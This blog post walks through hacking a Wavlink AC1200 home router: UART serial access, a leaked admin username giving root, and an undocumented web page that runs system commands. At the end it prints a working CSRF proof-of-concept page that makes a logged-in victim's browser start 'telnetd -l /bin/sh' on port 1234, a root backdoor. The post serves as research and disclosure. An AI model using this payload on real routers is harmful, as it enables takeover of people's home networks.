Router hacking!
Hello.
I like to hack SoHo (small-office home-office) routers for fun, and I’ve recently acquired the “WAVLINK AC1200 Dual Band WiFi Router,Gigabit Ethernet 1200Mbps High Speed Long Range 300 Mbps (2.4GHz)+867 Mbps (5GHz), Wireless Internet Router for Home Office”. You can take a look at the device for sale here.
To begin, a quick google search of the device brings up an interesting group of vulnerabilities:
Unfortunately the actual exploitation of the issues is not well documented, so I decided to investigate this device to see for myself how they were exploited. First, I would need to interface with the device’s on-board operating system.
To do that, we need to pop open the device and take a look at the circuit board. A lot of modern routers like to keep the top of its plastic shell in place with screws which they hide under some stickers. I found this router’s screws on the bottom of the plastic casing.
Once those are gone, we can set about looking at the router’s guts. Here’s a pic of the circuit board.
And look here, in the upper right corner. This is a debugging interface for the manufacturers who program this circuit board. These four ports here are a UART interface, which stands for universal asynchronous receiver-transmitter, a computer hardware device for asynchronous serial communication in which the data format and transmission speeds are configurable (more on that in transmission speed in a bit).
In layman’s terms, if we connect “something” that can talk to UART, and then have that same “something” also be able to talk to our computer, then we can use our computer to talk to the circuit board’s operating system. So what can we use to do that? We can use this!
The HiLetgo FT232RL adapter is a hacker multi-tool that talks to electronic stuff, such as our UART port here. Connecting our adapter to the UART port requires us to solder some jumper wires from the UART interface…
…which will connect to the pointy end here on our adapter.
So, now that we have our adapter connected, let’s turn on the router and see what happens. We’ve set up our computer to receive the signal from our adapter, but we aren’t certain about the baud rate being used. In digital communications, symbol rate, also known as baud rate and modulation rate, is the number of symbol changes, waveform changes, or signaling events across the transmission medium per time unit using a digitally modulated signal or a line code (remember when we mentioned signal transmission speed earlier?). We don’t know how fast the signal coming from the board is to our adapter, so if we don’t tune the connection to our adapter with the proper baud rate, we will get a bunch of gobbledygook like in the following screenshot.
But, after some tedious trial and error, we have identified the baud rate as 57600. Once we modify our computer’s receive (the Linux program ‘screen’) to interpret the signal correctly, we get some nice, human-readable terminal output!
Great! So if we wait long enough, we will eventually be asked for our Wavlink login.
But we don’t know the admin account name. Luckily, when we connect to the access point and configure the login password for the web app…
We get this helpful message in the UART output.
Now, at no point during the WAP wizard was I asked for a username, but here we can see the username parameter of “admin2860” being transmitted through UART output. So, maybe we can just login with that?
Great! We’ve logged in and now have root access to the device. Let’s sniff around and see if we find anything really stupid, like those VulnMon entries we discovered earlier.
Eventually, we find the web directory, and there’s a lot in here. After some poking around, we find this (undocumented in the user manual!) webpage called “webcmd.shtml”.
If we bring up “webcmd.shtml” in our browser we see…this.
So we can just pass system commands to the underlying operating system! Does it work…?
Wow, so we can read the systems password file, so everything runs as root (like the Administrator account in Windows). Nice one, Wavlink. If we inspect the web page’s HTML here, we can see that it makes a POST request to the “/cgi-bin/adm.cgi” endpoint. That endpoint is in one of the Vulnmon entries earlier in this post, so this must be vulnerable to Cross Site Request Forgery (CSRF).
In applications that are vulnerable to Cross Site Request Forgery (CSRF), an attacker can craft a malicious webpage that, when viewed by the victim, will force their browser to make a request to the vulnerable endpoint.
Earlier while I was digging through the filesystem, I found that the Telnet daemon, a legacy networking server, was installed on the Wavlink router. Let’s see if we can make a malicious webpage that fires off a request to “webcmd” from our victim that will force the router to open up a Telnet backdoor.
Here’s what the malicious webpage might look like.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.10.1/cgi-bin/adm.cgi" method="POST">
<input type="hidden" name="page" value="sysCMD" />
<input type="hidden" name="command" value="telnetd -l /bin/sh -p 1234" />
<input type="hidden" name="SystemCommandSubmit" value="Apply" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>And here’s the attack in action. Here, I’m simulating our victim, currently logged into the router…
…but opening up our malicious webpage, which will send a request to the vulnerable endpoint in the context of the user’s session!
And now, even though we get a 404 error from the web server, we can see (red box) that the telnet backdoor has been opened. We connect, and now we have pwned the device!
That’s all for now. I’ll post again when I find something silly on another router.
Goodbye.